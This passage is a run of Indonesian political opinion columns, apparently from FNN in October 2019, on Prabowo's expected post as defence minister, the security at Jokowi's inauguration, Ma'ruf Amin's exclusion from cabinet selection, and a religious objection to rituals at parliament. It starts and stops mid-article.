Prabowo, cuma sesederhana itulah cita-cita dan arti kemerdekaan bagi jutaan orang miskin tanpa tanah, di bumi Indonesia yang kaya raya gemah ripah loh jinawi ini. Menurut PS, itu semua bisa diwujudkan dengan memakai lahan milik negara yang nganggur, untuk diolah menjadi area produktif. Lahan itu dipinjamkan sementara, agar rakyat miskin mampu menabung sampai terbeli tanahnya sendiri. Maka dalam teorinya, kelak tiap keluarga di Indonesia tidak perlu takut kelaparan meski terjadi invasi dan embargo makanan dari luar. Itulah ketahanan bangsa yang sesungguhnya. Pertahanan negara yang sebenarnya. Apakah soal pangan dan papan itu masuk dalam target yang diurusi seorang Menhan? Secara straight tidak. Tapi definisi secara makro, makna pertahanan adalah kesiapan menghadapi segala bentuk ancaman dari luar. Peperangan fisik maupun pertempuran ideologi. Jadi pemikiran dan eksekusinya tentu harus lintas departemen, tidak dapat dilakukan seorang Menhan. Pertahanan negara baru akan dapat maksimal jika soal stok senjata, peluru, personil, energi, makanan, air, dan kebutuhan pokok dalam negri lainnya tercukupi. Karena upaya Pertahanan dalam arti keadaan darurat peperangan, adalah termasuk menyiapkan seluruh rakyat sipil agar siap menghadapi segala sesuatu dan dampaknya. Teori tentara rakyat, harus jalan pada keadaan seperti itu. Kita tidak mungkin mengajak perut yang lapar dan pikiran yang depresi karena tekanan ekonomi, untuk memikirkan pertahanan. Apalagi melakukan perlawanan. Inilah makna People Power Bangsa Indonesia yang sesungguhnya. Yang sangat ditakuti oleh negara-negara lain, baik di kawasan jiran maupun oleh negara adikuasa di seberang Lautan Pasifik. Jumlah penduduk Indonesia yang sangat besar, kondisi rakyat yang sehat, kemampuan memproduksi sendiri pangan dan energinya, alutsista yang modern, siapa yang akan berani menihilkan Indonesia sebagai kekuatan besar dunia? Itulah kenapa Prabowo ingin jabatan Menhan sepaket dengan posisi Menteri Pertanian. Ia percaya Edhy Prabowo yang dididiknya soal pertanian selama ini dapat tek-tok mengerjakan PR besar ketahanan pangan dan pertahanan negara. Tapi sejauh ini, tampaknya impian PS kembali terjegal. Posisi Mentan hampir dipastikan mental, karena si tangan kuat tidak mau posisi strategis itu lepas ke lawan. Edhy Prabowo boleh jadi terlempar ke posisi Menteri Perikanan dan Kelautan. Prabowo jadi Blasteran Jika PS benar jadi Menhan, maka di dunia medsos ia akan jadi kampret blasteran cebong. Entah namanya jadi Cepret atau apa. Sementara pendukungnya di Pilpres kemarin boleh tetap jadi Kampret mandiri, atau juga ikut jadi blasteran. Namanya saja negara demokrasi, pastilah HAM dihormati. Hak Azasi Manusia, Hak Azasi Membully, maupun Hak Azasi Masabodo, boleh pilih mana suka. Dan konsekuensinya, PS harus bisa menerima dengan ikhlas hati kemauan pendukungnya yang kini tercerai berai, sebagai bagian dari akibat pilihan politiknya. Saya jadi apa..? Saya pilih membantu rakyat yang masih banyak memikirkan bagaimana cara mengisi perut laparnya, sehingga boro-boro mereka paham soal perebutan kursi kekuasan saat ini. Orang lapar harus pikirkan nasi, bukan mikir kursi. Lalu bagaimana soal nasib Menteri Pertahanan Prabowo Subianto ke depannya? Ya kita doakan saja, semoga dia bisa seperti Patih Gadjah Mada, dimana jabatan Patih juga diartikan sebagai Mentri Utama. Meski bukan jadi raja, tapi Gadjah Mada lebih ngetop dari Hayam Wuruk. Gadjah Mada bekerja tak kenal menyerah. Ia berlayar ke seluruh penjuru negri, berperang menaklukkan musuh, bergerak menyatukan Nusantara, menepati sumpahnya untuk tidak 'menikmati kemewahan' sebelum berhasil menyatukan pulau-pulau dan suku-suku yang terbelah. Gadjah Mada lalu jadi legenda. Patungnya dibuat dan dikoleksi di mana-mana ratusan tahun sesudah ia mangkatpun, setiap orang tahu muka Gadjah Mada, meski belum tentu paham mana wajah Hayam Wuruk yang mengangkat dan mempercayakan jabatan kepada dirinya. Tulisan ini bukan pembelaan kepada PS. Hanya berusaha memahami jalan pikirannya, berdasarkan pengamatan atas apa yang dia ucapkan dan lakukan selama ini. #PikiranYangMerdeka

Ini Bukan Soal Pelantikan

Oleh Tony Rosyid (Pemerhati Bangsa) Jakarta, FNN - Lebay! Begitulah komentar sebagian rakyat terkait besarnya parade pasukan yang mengawal pelantikan Jokowi-Ma'ruf sebagai presiden dan wapres terpilih. 31.000 pasukan dengan peralatan perang termasuk tank berada di sekitar lokasi pelantikan. Pelabuhan dan supermarket dijaga ketat. Hiburan rakyat di lokasi car freeday dan monas ditutup. Bahkan demo dilarang sejak seminggu sebelum pelantikan. Berlebihan! Begitulah kira-kira persepsi publik yang muncul. Kenapa pasukan itu tidak dikirim ke Papua untuk melindungi sejumlah imigran yang dibantai dan dibakar hidup-hidup? Menjaga kantor bupati, kantor gubernur dan aset negara yang dirusak dan dibumi hanguskan? Begitulah diantara tanggapan yang banyak muncul di media sosial. Tentu, aparat punya alasan. Pertama, sebelum pelantikan Presiden-wapres terjadi demo besar-besaran, terutama dari kalangan mahasiswa. Ada bentrokan yang mengakibatkan dua mahasiswa mati dan beberapa lainnya luka-luka. Bahkan ada yang pecah tengkorak kepalanya. Jadi, aparat ingin memastikan pelantikan betul-betul aman. No demo, no keributan. Kedua, pelantikan presiden-wapres identik dengan pergantian pejabat. Kapolri dan Panglima adalah pejabat tinggi negara. Wajar jika mereka harus menunjukkan loyalitasnya kepada presiden. Loyalitas memiliki dua fungsi, yaitu fungsi tanggungjawab dan fungsi politik. Sampai disini, pengerahan pasukan mulai bisa dimengerti. Beda dengan 2014. Tak ada demo dan kekecewaan rakyat terhadap Jokowi. 2019 situasinya betul-betul berubah. Yang berbaris di jalan Gatot Subroto, Soedirman, Bundaran HI, Thamrin dan sekitarnya tak lagi rakyat, tapi aparat. Ini bukan pesta rakyat lagi, tapi pesta aparat dan pejabat. Memang beda! Isu pelantikan, dua-tiga hari kedepan diprediksi akan redup. Publik tak lagi membicarakannya. Justru ada hal penting yang nampaknya lepas dari perhatian rakyat. Apa itu? Pertama soal isi pidato Jokowi. Tak banyak tanggapan. Apakah karena rakyat sudah tak lagi percaya kata-kata Jokowi? Entahlah. Kedua, soal koalisi. Siapa saja yang akan dipercaya Jokowi untuk membantunya di kabinet? Dan dimana posisi Prabowo dan Surya Paloh? Begitu juga Tito Karnavian yang rumornya akan menjabat sebagai mendagri. Soal ini, kita perlu bahas dalam artikel tersendiri. 2014, lima tahun lalu, pidato Jokowi menyinggung soal demokrasi. Indonesia adalah negara demokratis ketiga di dunia, kata Jokowi. Sekarang? Setelah lima tahun negara ini dipimpin Jokowi, bagaimana nasib demokrasi? Tanyakan pada dosen, mahasiswa, pers dan ulama. Di benak mereka ada jawaban pastinya. Jangan tanya rektor, karena sejak dipilih oleh menteri, para rektor sudah berubah fungsi jadi agen kekuasaan 2019 kali ini Jokowi bicara lima hal. Pertama, pembangunan SDM. Kedua, pembangunan infrastruktur. Ketiga, penyederhanaan regulasi. Keempat, penyederhanaan birokrasi. Kelima, transformasi ekonomi. Point nomor 1,2 dan 5 itu program jangka panjang dan berkesinambungan. Pembangun SDM, infrastruktur dan transformasi ekonomi tak cukup hanya lima tahun. It's good, dan perlu didukung. Kendati faktanya, target dan janji pertumbuhan ekonomi 7-8 persen lima tahun lalu tak terbukti. Selama kepemimpinan Jokowi pertumbuhan ekonomi tak lebih dari 5 persen. Yang sedikit perlu dicermati adalah point nomor 2 dan 3. Penyederhanaan regulasi dan birokrasi. Ini mestinya bisa dikerjakan mulai tahun pertama di periode awal. Kenapa baru bicara sekarang? Apa susah dan kendalanya bagi presiden untuk menyederhanakan regulasi dan birokrasi di periode pertama? Gak sulit. Otoritas dan kekuasaan ada di tangan. Cukup dengan satu tanda tangan, semua beres. Hanya soal kebijakan. Kenapa tidak dilakukan? Ini yang jadi pertanyaan Terlambat! Meski terlambat, tetap lebih baik dari pada tidak sama sekali. Rakyat hanya perlu mengawasi apakah dua janji ini akan direalisasikan kedepan. Kenapa harus rakyat, bukan DPR? Ah, capres saja ikut koalisi, bagaimana sempat ngawasi? Mungkin hanya PKS. Itupun kursinya gak terlalu banyak. Sudah begitu, PKS terus diganggu dengan isu wahabi, khilafah dan Islam radikal. Cukup bayar 10-30 orang untuk demo setiap pekan di depan kantor PKS supaya konsentrasinya terganggu. Rakyatlah oposisi yang sesungguhnya ketika partai-partai yang seharusnya jadi oposisi memilih ikut koalisi. Gak tahan lihat kursi. Alasannya macam-macam. High politics-lah... demi keutuhan bangsalah... Ketinggian bahasanya bro! Lalu buat opini ada poros ketiga-lah.... Ada penumpang gelap-lah... Klasik! Dalam situasi seperti ini, rakyat terpanggil untuk menjadi oposisi. Diantara tugas rakyat adalah mengawasi kinerja pemerintahan lima tahun kedepan, termasuk program presiden yang diungkapkan dalam pidato pasca pelantikan Minggu, 20 Oktober kemarin. Melakukan kritik, bila perlu demo jika presiden mengambil kebijakan yang salah. Asal tak anarkis. Tak melanggar hukum. Tetap hati-hati. Pengalaman kemarin, banyak demonstran yang mati. Waspadah...waspadalah... Jakarta, 22/10/2019

Pembantu Jokowi Bernama Prabowo

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Isu yang bertabur di media sosial tidak semua hoaks. Isu tentang Prabowo berminat menjadi Menteri Pertahanan pelan tapi pasti mulai menampakkan wujudnya. Pada Senin (21/10), Ketua Umum Gerindra ini mengaku diminta Presiden Joko Widodo (Jokowi) untuk membantu pemerintah di bidang pertahanan. Capres yang selalu kalah ini berjanji akan bekerja sekeras mungkin memenuhi harapan yang diamanahkan padanya. "Saya akan bekerja sekeras mungkin untuk mencapai sasaran dan harapan yang ditentukan," kata Prabowo usai bertemu Jokowi di Kompleks Istana Negara, Jakarta, Senin (21/10). Prabowo mengatakan telah mendapatkan arahan dari Jokowi. "Tadi beliau memberikan arahan, saya akan bekerja sekeras mungkin untuk mencapai sasaran dan harapan yang ditentukan," ujarnya. Senin sore itu, Prabowo datang ke Istana bersama Wakil Ketua Umum Partai Gerindra, Edhy Prabowo. Rupanya kini alur cerita sudah bisa ditebak. Sinyalemen kuat masuknya Prabowo dalam kabinet sudah terbaca ketika Gerindra tak mendapatkan satu pun kursi ketua komisi di alat kelengkapan Dewan Perwakilan Rakyat. Padahal Gerindra merupakan partai dengan perolehan kursi ketiga terbanyak di pemilihan legislatif 2019. Lazimnya, pemenang ketiga dalam pemilu akan habis-habisan merebut posisi ketua komisi. Gerindra tak mungkin menyerah begitu saja melepas kursi ketua komisi, tanpa ada “imbalan” yang memadai. Biasanya pemenang ketiga mendapat jabatan strategis. Gerindra hanya mendapatkan kursi ketua Badan Legislasi dan ketua Badan Kerja Sama Antar Parlemen (BKSAP), serta sembilan wakil ketua. Imbalan itu sudah mulai tampak. Awalnya, Jokowi ingin mendudukkan Prabowo Subianto sebagai Dewan Pertimbangan Presiden (Wantimpres). Selain itu, Jokowi memberi isyarat pos yang bakal diberikan kepada Gerindra adalah menteri pertanian. Jabatan ini diplot untuk Edhy Prabowo. Belakangan, Prabowo merasa tak tertarik dengan tawaran itu. Apalagi posisi Wantimpres, disebut bukan posisi yang strategis untuk dirinya. Wantimpres tugasnya hanya menasihati presiden. Belum tentu juga nasihatnya diterima. Prabowo lebih tertarik posisi Menteri Pertahanan. Gerindra beralasan, Prabowo selama ini memiliki perhatian besar pada bidang pertahanan. Dalam beberapa debat Capres misalnya, Prabowo menyoroti soal pertahanan. Mulai dari persediaan amunisi, hingga lemahnya pertahanan nasional. Ada satu harapan lagi. Pengangkatan Prabowo sebagai menteri pertahanan juga diharapkan diikuti gelar jenderal kehormatan untuk mantan Pangkostrad itu. Dengan demikian bukan lagi Letnan Jenderal Purnawirawan, tapi Jenderal Kehormatan. Dengan empat bintang. Soal jenderal kehormatan ini bukan hal baru. Susilo Bambang Yudhoyono (SBY) juga mendapat jenderal bintang empat kehormatan saat menjadi menteri. Pada tahun 2004, saat era Megawati Soekarnoputri, pemerintah memberikan gelar jenderal bintang empat kehormatan pada Menkopolkam, Hari Sabarno, dan Kepala BIN, AM Hendropriyono. Di era Gus Dur, Agum Gumelar pun mendapat gelar jenderal kehormatan. Dulu, ada kebiasaan memberikan gelar jenderal penuh bagi para purnawirawan yang diangkat menjadi menteri. Hal ini tak dilakukan lagi di era SBY. Abraham Lincoln Publik tentu terkejut dengan kerelaan Prabowo menjadi menteri Jokowi ini. "Pak Prabowo yang tadinya menjadi lawan tanding Pak Jokowi di pilpres, mau turun level menjadi pembantu presiden terpilih. Entahlah apa yg terjadi, nggak nyandak otakku (tidak terpikirkan) permainan politik ginian. Koyok dagelan (candaan), tapi kok nggak lucu," cuit warganet berakun @Yoghie79. Rupanya, bagi Prabowo tidak masalah setelah keok nyapres berakhir menjadi menteri, walau bukan menteri koordinator. Wiranto juga bekas capres yang kalah. Dia dengan senang hati menerima jabatan Menko Polhukam. Dalam acara Rapat Pimpinan Nasional Gerindra di Hambalang Rabu (16/10), Prabowo sempat menyitir kisah Presiden ke-16 Amerika Serikat Abraham Lincoln yang memberikan jabatan penting ke rival politiknya, William Henry Seward. Posisi yang diberikan adalah Secretary of State (Menteri Luar Negeri) yang merupakan posisi terkuat ketiga setelah presiden dan wakil presiden. Posisi Menteri Luar Negeri ini juga termasuk triumvirat bersama Menteri Pertahanan dan Menteri Dalam Negeri. Mereka adalah tiga serangkai yang akan menjalankan pemerintahan dalam kondisi darurat jika presiden-wakil presiden berhalangan. Rupanya, cerita itu merupakan sinyal dari Prabowo kepada Jokowi. "Saya merasa yakin Prabowo masuk, karena ada beberapa sinyalemen kuat. Ada tanda-tanda alam," kata Direktur Eksekutif Parameter Politik Indonesia, Adi Prayitno, kepada Tempo, Senin (21/10). Itu artinya, sinyal yang dikirimkan Prabowo berupa kisah Abraham Lincoln dan William Seward akan terwujud. End.

Pak Prabowo kok Anti Klimaks?

Oleh Hersubeno Arief Jakarta, FNN - Apa posisi Prabowo di kabinet Jokowi-Ma’ruf? Akhirnya mulai terbuka. Kalau kita menyimak penjelasan Prabowo, maka kemungkinan besar jabatan yang akan diembannya adalah Menteri Pertahanan. Bukan Menkopolhukam. Apalagi Menteri Utama. “Saya diminta membantu Bapak Presiden di bidang pertahanan,” ujar Prabowo setelah bertemu Presiden Jokowi di Istana Merdeka, Senin (21/10). Seperti para calon menteri lainnya, Prabowo datang mengenakan kemeja putih. Bedanya dia tidak mengenakan celana warna hitam, tapi warna kaki. Seragam Partai Gerindra. Dia didampingi Edhy Prabowo salah satu orang dekatnya yang juga akan menjadi menteri. Pos yang akan ditempatinya kemungkinan besar adalah Menteri Pertanian. Posisi yang sudah lama diincarnya. Di media pernyataan Prabowo ditanggapi secara beragam. Namun mayoritas menyampaikan pernyataan yang seragam: Kecewa berat! Anti klimaks! Cobalah longok medsos dan berbagai platform percakapan. Isinya mulai dari sekadar joke, keluh kesah, sinisme, sampai caci maki. Dengan menjadi Menhan, level Prabowo sama dengan menteri lainnya sebagai pembantu presiden. Kesediaan Prabowo “hanya” menjadi Menhan, membuat sebagian pendukungnya yang masih bertahan, kecewa dua kali. Tapi sebelum kita lanjutkan soal posisi Prabowo di kabinet, sebaiknya kita pahami dulu anatomi pendukung Prabowo. Mereka secara garis besar terbagi dalam tiga kelompok. Pertama, kelompok yang sama sekali tidak mau ada kompromi dengan Jokowi. Apapun posisinya, Gerindra masuk dalam kabinet, apalagi Prabowo menjadi salah seorang menteri, adalah bentuk pengkhianatan. Bagaimana mungkin Prabowo bergabung dengan pemerintahan yang dulu disebutnya sebagai antek asing dan bisa menjadi penyebab Indonesia bubar. Bagaimana mungkin bergabung dengan sebuah pemerintahan yang dia sebut menang dengan cara yang curang. Lebih parah lagi yang dicurangi, dia sendiri! Kedua, kelompok yang masih percaya masuknya Prabowo ke dalam kabinet membawa strategi tersembunyi, memecah kekuatan lawan dari dalam. Mereka sangat meyakini Prabowo adalah seorang perwira tinggi yang “ahli strategi.” Argumen kelompok kedua ini mendapat pembenaran dengan munculnya pernyataan dan manuver Ketua Umum Partai Nasdem Surya Paloh. Nasdem akan menjadi oposisi. Namun Nasdem batal jadi oposisi. Hanya bluffing. Gertak sambal. Politisi Nasdem Syahrul Yasin Limpo pagi ini merapat ke Istana pakai baju putih. Dia memastikan Nasdem tetap bersama Jokowi. Kelompok pendukung ini percaya bahwa posisi Prabowo di kabinet sangat spesial. Menjadi semacam perdana menteri. Orang kedua setelah Jokowi, menggeser peran Wapres Ma’ruf Amin. Jadi ini semacam _power sharing_. Bagi-bagi kekuasaan 55-45% seperti pernah disebutkan oleh Amien Rais. Posisinya kira-kira seperti Menko Maritim Luhut Panjaitan pada Kabinet Jokowi Jilid I. Tapi lebih besar. Lebih berkuasa. Powerfull. Untuk berperan seperti itu, maka posisi Prabowo setidaknya harus menjadi Menko. Posisi yang pas dan cocok adalah Menkopolhukam. Atau kalau perlu nomenklatur kabinet diubah dengan membentuk pos Menteri Utama. Ketika mengetahui bahwa Prabowo, sekali lagi “hanya” menjadi Menhan, kelompok kedua ini ikut-ikutan kecewa. Posisi Prabowo akan berada di bawah Menko Polhukam. Sampai sekarang belum ada gambaran siapa yang akan menempati posisi ini. Kalau sampai posisi Menko Polhukam ditempati oleh figur yang lebih yunior dibandingkan Prabowo, maka posisinya kian terdowngrade. Sebutlah misalnya Moeldoko, atau Budi Gunawan. Secara kepangkatan mereka memang lebih senior dibanding Prabowo. Keduanya jenderal bintang empat, Prabowo bintang tiga. Hanya saja dari sisi angkatan, kedua jauh di bawah Prabowo. Moeldoko lulusan Akabri 1980, dan Budi Akpol 1983. Sementara Prabowo Akabri 1974. Lebih celaka lagi kalau ternyata pos itu ditempati kembali oleh Wiranto atau Luhut. Dipastikan Prabowo tidak bisa berkutik. Wiranto jenderal bintang empat. Pernah menjadi KSAD, Panglima TNI, dan beberapa kali menjadi Menko Polhukam. Dia lulusan Akmil 1968. Secara senioritas Prabowo kalah segalanya. Luhut lulusan Akabri 1970. Jenderal bintang empat kehormatan. Lebih senior dibanding Prabowo, dan jelas lebih jago bermanuver. Dengan posisi sebagai Menhan, Prabowo bisa mendapat kenaikan pangkat satu tingkat. Menjadi jenderal bintang empat kehormatan seperti Luhut. Kelompok ketiga adalah para trueb Pejah gesang nderek Prabowo. Sebagai jenderal senior, mereka percaya Prabowo pasti punya perhitungan dan kalkulasi sendiri. Kelompok ketiga ini sangat percaya, dengan masuk ke dalam pemerintahan, apalagi menjadi Menhan, maka pada waktunya Prabowo akan mengambil alih kekuasaan. Dilantik menjadi Presiden menggantikan Jokowi. Membawa Indonesia menjadi negara yang kuat dan maju. Dalam sistem ketatanegaraan kita, Menhan bersama Mendagri dan Menlu disebut sebagai Triumvirat. Tiga jabatan yang sangat menentukan manakala terjadi kekosongan kekuasaan. Sebagaimana diatur dalam Pasal 8 (3) UUD 45 apabila terjadi kekosongan jabatan presiden dan wapres secara bersamaan, maka tugas kepresidenan dipegang oleh tiga menteri tersebut secara bersama-sama, sampai terpilih presiden dan Wapres difinitif. Secara konstitusional ketiga jabatan itu berbeda dengan menteri-menteri lain, bahkan termasuk jabatan Menko. Kalau toh tidak terjadi turbulensi politik. Jokowi mengakhiri masa jabatan kedua dengan mulus, kelompok true believers ini sangat meyakini posisi Menhan sangat strategis dan penting. Bisa menjadi modal untuk kembali maju pada Pilpres 2024. Prabowo bisa mewujudkan visinya Indonesia sebagai negara yang kuat secara militer. Disegani negara tetangga dan dunia. Bukan negara cemen. Hanya bisa bertahan selama tiga hari bila digempur musuh. Harapan ini tampaknya sulit terwujud melihat alokasi anggaran Kemenhan tahun 2020 sebesar Rp 127.4 trilyun. Anggaran sebesar itu harus dibagi dengan Mabes TNI, Mabes TNI-AD, AL, dan AU. Bandingkan dengan anggaran Polri tahun 2020 sebesar Rp 104.7 trilyun. Agak sulit membayangkan Prabowo melakukan terobosan-terobosan. Menggunakan dana non budgeter, seperti dia lakukan pada waktu dulu memimpin satuan-satuan TNI. Kali ini skala tanggung jawabnya jauh lebih besar. Urusan negara. Urusan TNI secara keseluruhan. Bukan satuan setingkat batalion, atau brigade. Dibandingkan kelompok pertama dan kedua, kelompok ketiga, kelompok hidup mati dukung Prabowo ini jauh lebih kecil. Mereka terdiri dari anggota partai Gerindra dan para simpatisannya. Bila benar akhirnya Prabowo menempati posisi sebagai Menhan, modal politiknya jauh lebih kecil dibandingkan dengan pilpres lalu. Kita hanya bisa mengucapkan selamat bertugas. Hati-hati di jalan Pak. End

Seleksi Menteri, Jokowi Tak Sertakan Kiyai Ma’ruf

Padahal, sekali lagi, ruang kearifan konstitusional memungkinkan Kiyai Ma’ruf terlibat dalam seleksi calon menteri. Bukan mengangkat menteri. Sayang kemungkinan ini, entah tak teridentifikasi oleh Jokowi atau sengaja dibiarkan tak terdentifikasi. Dengan argumen yang tidak seorang pun mengetahuinya, telah menjauhkan Kiyai Ma’ruf untuk sekadar ikut membicarakan, dan mengenal mereka calon menteri. Oleh Dr. Margarito Kamis Jakarta, FNN - Hampir empat bulan setelah penetapan dirinya sebagai calon presiden terpilih dalam pemilu memilukan, Jokowi Widodo, Presiden terpilih ini tidak juga membekali dirinya dengan gambaran tentang pemerintahan macam apa yang akan dibentuk kelak setelah diambil sumpahnya. Itu tercermin dari kenyataan pada hari Senin tanggal 21 Oktober ini. Satu demi satu manusia, mungkin calon menteri, diberitakan media online silih berganti mendatangi dirinya di istana presiden. Sebagian dari mereka yang dipanggil bukanlah orang baru dalam dunia politik, dan bukan pula orang yang tidak memiliki kedekatan dengan dirinya. Beberapa dari mereka dikenal luas sebagai orang yang telah memainkan peran membantu dirinya, dalam arti yang luas. Mereka diajak berdiskusi secara singkat dengan spektrum yang sebagian terlihat begitu luas. Kiyai Tak Disertakan Bila Jokowi dan Kiyai Ma’ruf telah memiliki peta pemerintahan yang akan dibentuk kelak setelah keduanya dilantik, maka pekerjaan menyeleksi menteri dapat dilakukan dengan lebih terukur. Dengan peta yang tersedia jelas, maka keduanya dapat secara bersama membayangkan siapa saja figur yang dapat diminta membantu keduanya. Kiyai Ma’ruf, dalam kerangka itu dapat ditugaskan mengerjakan pekerjaan seleksi, sejauh yang bisa. Sayangnya tidak terjadi, sehingga soal itu harus dikerjakan dalam waktu sesempit sekarang. Senin dan Selasa akhirnya menjadi hari yang sibuk dengan sejumlah orang dipanggil ke Istana menemui Presiden, membicarakan sebisanya hal-hal yang mungkin akan dimintai bantuan mereka untuk dikerjakan. Senin yang sibuk di Istana kepresidenan, juga menjadi Senin yang sibuk di kantor wakil presiden. Di kantor ini Kiyai Ma’ruf menerima memori kerja Pak Jusuf Kalla, mantan wakil presiden. Ini berlangsung hingga jam 10 pagi, dan waktu sesudahnya Kiyai Ma’ruf melakukan perjalanan kenegaraan ke Jepang. Ia mewakili Presiden menghadiri penobatan Kaisar Jepang. Praktis Kiyai Ma’ruf tidak disertakan oleh Presiden Jokowi dalam seleksi menteri. Mengapa tak disertakan? Jokowi secara konstitusi memang tidak diwajibkan menyertakan Pak Kiyai Ma’ruf, wakil presidennya dalam urusan, sebut saja seleksi menteri ini. Sekali lagi, tidak wajib. Toh konstitusi menempatkan kewenangan mengangkat menteri sepenuhnya pada presiden. Medan normatif konstitusi memang begitu. Medan mengangkat menteri adalah medan tunggal, yang tidak perlu dibagi dengan Waki Presiden. Mengangkat menteri, jelas wewenang konstitusional Presiden, bukan Wakil Presiden. Mengangkat adalah tindakan hukum, yang memiliki konsekuensi hukum. Hanya presiden, bukan wakil presiden yang dapat mengangkat menteri. Wakil Presiden memang hanya berfungsi membantu Presiden. Tetapi Wakil Presiden juga bukan pembantu biasa. Wakil presiden adalah pembantu dengan keistimewaan konstitusional yang khas. Hanya kepada Wakil Presiden, bukan menteri, Presiden bisa memandatkan kewenangan mengurusnya. Bukan mengatur, bila presiden dalam keadaan tertentu tidak dapat menyelenggarakan sendiri urusan itu. Tetapi lain betul dengan tindakan seleksi. Dalam konteks seleksi, presiden tidak dilarang menyertakan wakil presiden. Sayangnya Presiden telah memilih berdiri tegak, untuk tak mengatakan membiarkan kearifan konstitusi itu tersembunyi dalam gudang politik konstitusionalisme. Ia hanya berjalan tegak lurus di track normatif konstitusi. Presiden membiarkan Kiyai Ma’ruf, Wakil Presiden berjarak sejauh mungkin dalam urusan ini. Padahal, sekali lagi, ruang kearifan konstitusional memungkinkan Kiyai Ma’ruf terlibat dalam seleksi calon menteri. Bukan mengangkat menteri. Sayang kemungkinan ini, entah tak teridentifikasi oleh Jokowi atau sengaja dibiarkan tak terdentifikasi. Dengan argumen yang tidak seorang pun mengetahuinya, telah menjauhkan Kiyai Ma’ruf untuk sekadar ikut membicarakan, dan mengenal mereka calon menteri. Tahun-tahun Seremonial Kalau Presiden Jokowi bisa, bahkan harus berdiskusi dengan ketua-ketua partai yang membawa dirinya dan Kiyai Ma’ruf menjadi calon presiden dan wakil presiden, kenapa tidak dilakukan dengan Kiyai Ma’ruf, Wakil Presiden? Sehebat apapun ketua-ketua partai, mereka bukanlah figur tata negara dalam penyelenggaraan pemerintahan. Figur itu disandang oleh Wakil Presiden, Kiyai Ma’ruf. Membuka diskusi, sesingkat apapun antara Presiden dengan Ketua-Ketua Partai Politik, menunjukan Presiden telah tahu lebih dari siapapun bahwa konstitusi bukan satu-satunya instrumen politik paling tangguh dalam menyumbangkan pemerintahan yang memiliki kapasitas sebagai pemerintahan yang efektif. Tidak. Presiden dalam konteks itu juga tahu lebih dari siapapun, pemimpin sangat sering beralih, mengambil dari gudang politik, hal-hal non hukum mengonsolidasi pemerintahannya. Seperti telah dilakukannya sendiri, Presiden Jokowi mestinya tahu politik di alam demokrasi menyediakan kearifan sebagai sumbu utama, penyumbang datangnya pemerintahan yang berkapasitas, dan memungkinkan semua elemen di dalamnya solid mengakselerasi program dan kegiatan pemerintahan. Kearifan inilah yang semestinya dipanggil Pak Jokowi pada kesempatan pertama dan dimainkan dalam kerangka seleksi, bukan mengangkat menteri, dengan melibatkan Kiyai Ma’ruf. Mengesampingkan kearifan-kearifan demokrasi sebagai sebuah kekuatan tak tertandingi dalam menciptakan keharmonisan, yang merupakan kekuatan inti pemerintahan, jelas tidak membantu tumbuhnya iklim harmoni yang diperlukan untuk membuat pemerintahan solid. Menjauhkan Kiyai Ma’ruf sejauh mungkin dari urusan seleksi Menteri memang tidak bakal menjadi alarm datangnya politik menyalahkan tindakan itu. Tidak. Tetapi bukan disitu pangkal soalnya. Pangkal soalnya adalah terbunuhnya kearifan. Tetapi mungkin saja Kiyai Ma’ruf tahu level kearifan Presiden Jokowi, dan mungkin juga tahu bahwa tidak diperlukan tes kecil untuk memastikannya. Sebagai orang yang tidak terlalu asing dalam dunia politik, Kiyai Ma’ruf mungkin mengetahui bahwa tidak ada cara paling ampuh meminta, menghadirkan kearifan, selain yang terlihat. Toh kearifan yang selalu bersendikan pada kejujuran, dan kejujuran merupakan perkara tersulit untuk diminta dalam dunia politik riil. Kiyai Ma’ruf mungkin saja menerimanya sebagai hal biasa dalam politik. Itu sebabnya terlalu prematur mengajukan pernyataan konklusif bahwa Kiyai Ma’ruf, dalam lima tahun mendatang hanya akan diperlakukan oleh Presiden Jokowi sepenuhnya sebagai pembantu tanpa portofolio. Kenyataan dirinya tak dilibatkan dalam seleksi calon menteri, karena itu, juga tak bisa dijadikan basis mengajukan pernyataan hipotetikal bahwa seistimewa apapun status Kiyai dalam kerangka konstitusi, lima tahun mendatang hanya akan menjadi tahun-tahun yang sibuk dengan seremoni.* Penulis adalah Pengajar Hukum Tata Negara Universitas Khairun Ternate

Seriuskah Kita Mengundang Murka Allah?

Oleh Iramawati Oemar Jakarta, FNN - Anda mungkin menilai saya terlalu baper, lebay, atau apalah, silakan. Tapi yang jelas saya merasa "NGERI", sebuah kengerian yang baru kali ini saya rasakan. Bukan kengerian yang sama ketika naik roller coaster super tinggi dan super cepat di Tokyo Dome, bukan pula kengerian yang sama ketika saya harus menjalani permainan "Tarzan X" dimana kita memanjat sampai ketinggian di atas 20 m lalu disuruh berayun-ayun dengan tali sementara di bawahnya hanyalah pepohonan yang menutupi jurang. Sebab kengerian itu masih bisa dihindari, ketika saya bisa memilih untuk tidak ikut. Tapi, ini kengerian bentuk lain. Kengerian akan adzab Allah yang akan menimpa, karena KEMUSYRIKAN sedemikian telanjang dipertontonkan, bahkan diundang, dipusat negeri, di rumah rakyat, dimana perhelatan pengambilan sumpah pemimpin negeri ini akam digelar. Sampai saat ini, belum terdengar ada yang keberatan – apalagi melarang – semisal dari unsur pimpinan DPR kah, atau unsur pimpinan DPD kah, atau unsur pimpinan MPR kah, atau pimpinan Sekretariat DPR/MPR kah. Dari 600an politisi Senayan, tidak adakah yang keberatan gedung tempat mereka sehari-hari bertugas didatangi dukun/paranormal atau apalah sebutannya, lalu mengadakan ritual disana, memohon pada sosok-sosok makhluk ghaib dari dunia mistis?! Saya makin miris lagi ketika melihat di galery WA dan linimasa FB bertebaran foto-foto aparat keamanan yang ditugaskan menjaga gedung wakil rakyat itu tampak asyik, gembira ria, berjoget bersama penyanyi yang bajunya ketat membalut tubuh, memperlihatkan lekuk liku bodynya. Tak sekedar berjoget, mereka "nyawer", menyelipkan uang. Rasa-rasanya jauh lebih terhormat jika si artis membawa kaleng bekas biskuit atau kardus bekas kemasan air mineral, lalu letakkan didepan tempatnya beraksi, seperti artis yang "ngamen" di luar negeri. Betapa tidak, si artis selain berpakaian ketat dan kurang bahan pada bagian belahan dada, dia juga sengaja meliuk-liuk sedemikian rupa, lalu lelaki-lelaki di sekitarnya memasukkan uang ke lekukan dadanya dan pant*tnya. Astaghfirullah hal 'adzhiim... Inikah cara bangsa kita menghadapi pelantikan presidennya?! Inikah buah dari REVOLUSI MENTAL yang digaungkan sejak 5 tahun lalu?! Hanya melestarikan kepercayaan mistisisme yang dahoeloe kala, ribuan tahun lalu, tumbuh ketika manusia masih menganut animisme dan dinamisme. Juga mempertontonkan tingkah laku aparat yang secara etika tidak 